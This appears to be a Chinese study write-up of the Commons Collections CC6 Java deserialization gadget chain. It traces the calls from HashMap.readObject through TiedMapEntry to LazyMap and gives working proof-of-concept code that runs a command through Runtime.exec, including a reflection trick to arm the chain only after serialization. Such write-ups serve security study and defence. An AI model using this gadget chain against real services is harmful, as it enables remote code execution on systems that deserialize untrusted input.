CC1的两条利用链,在JDK 8u71之后已修复,不可利用。
学一下不受版本限制的CC6利用链
分析版本
Commons Collections 3.2.1
JDK 8u65
环境配置参考JAVA安全初探(三):CC1链全分析
分析过程
我的Github主页Java反序列化学习同步更新,有简单的利用链图
CC6是在CC1 LazyMap利用链的基础上。
与其不同的是在寻找CC1 LazyMap.get的利用时,找到的是TiedMapEntry的getValue方法。
TiedMapEntry又是个public类,并且可序列化,可以控制map和key的传值。
java
public Object getValue() {
return map.get(key);
}
而getValue又被hashCode调用
java
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
之后找hashCode的调用,作者找到的是HashMap的hash方法
java
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
我们又知道HashMap是可序列化的,还重写了readObject,看下readObject方法
java
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
可以看到putVal(hash(key), key, value, false, false);
正好调用了hash函数,只要保证反序列化时mapping的值大于0,就能走到这一步。
到此利用链完成。
Poc
java
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
new ConstantTransformer("1")
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, 1);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, 1);
cc1_poc.serialize(hashMap);
cc1_poc.unserialize("s.ser");
}
}
此时可以弹计算器,但是计算器是在hashMap.put(tiedMapEntry, 1);
这步(序列化之前)时,就把利用链调完了,所以参考URLDNS利用链
的解决办法。
因为是在put处触发的,所以我们在写完利用链之后,调用put之前,通过反射把利用链断掉。
在put方法调用之后,序列化之前,再把修改的位置复原。
更新Poc
java
public class cc6 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
new ConstantTransformer("1")
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
//断掉利用链 TiedMapEntry, LazyMap, ChainedTransformer都可以
//举个例子修改tiedMapEntry的 key
TiedMapEntry tiedMapEntry = new TiedMapEntry(new HashMap(), 1);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, 1);
//复原
//因为key为private,而且也没有public方法能直接修改key
//利用反射
Class c = TiedMapEntry.class;
Field key = c.getDeclaredField("key");
key.setAccessible(true);
key.set(tiedMapEntry, lazyMap);
cc1_poc.serialize(hashMap);
cc1_poc.unserialize("s.ser");
}
}
补充
如果在断掉利用链时选择修改LazyMap,会发现反序列化也不会触发计算器,是因为put过程中
走到LazyMap.get这,if表达式为真,会执行到map.put(key, value);
而map在序列化时会被序列化,在反序列化时map里面有了key,if表达式为假,不会执行chainedTransformer.transform,利用链断了。
解决这个问题,在put后序列化之前把lazyMap map中对应的key删掉就好了,详情参考cc6
java
private void writeObject(ObjectOutputStream out) throws IOException {
out.defaultWriteObject();
out.writeObject(map);
}
private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
map = (Map) in.readObject();
}
//-----------------------------------------------------------------------
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}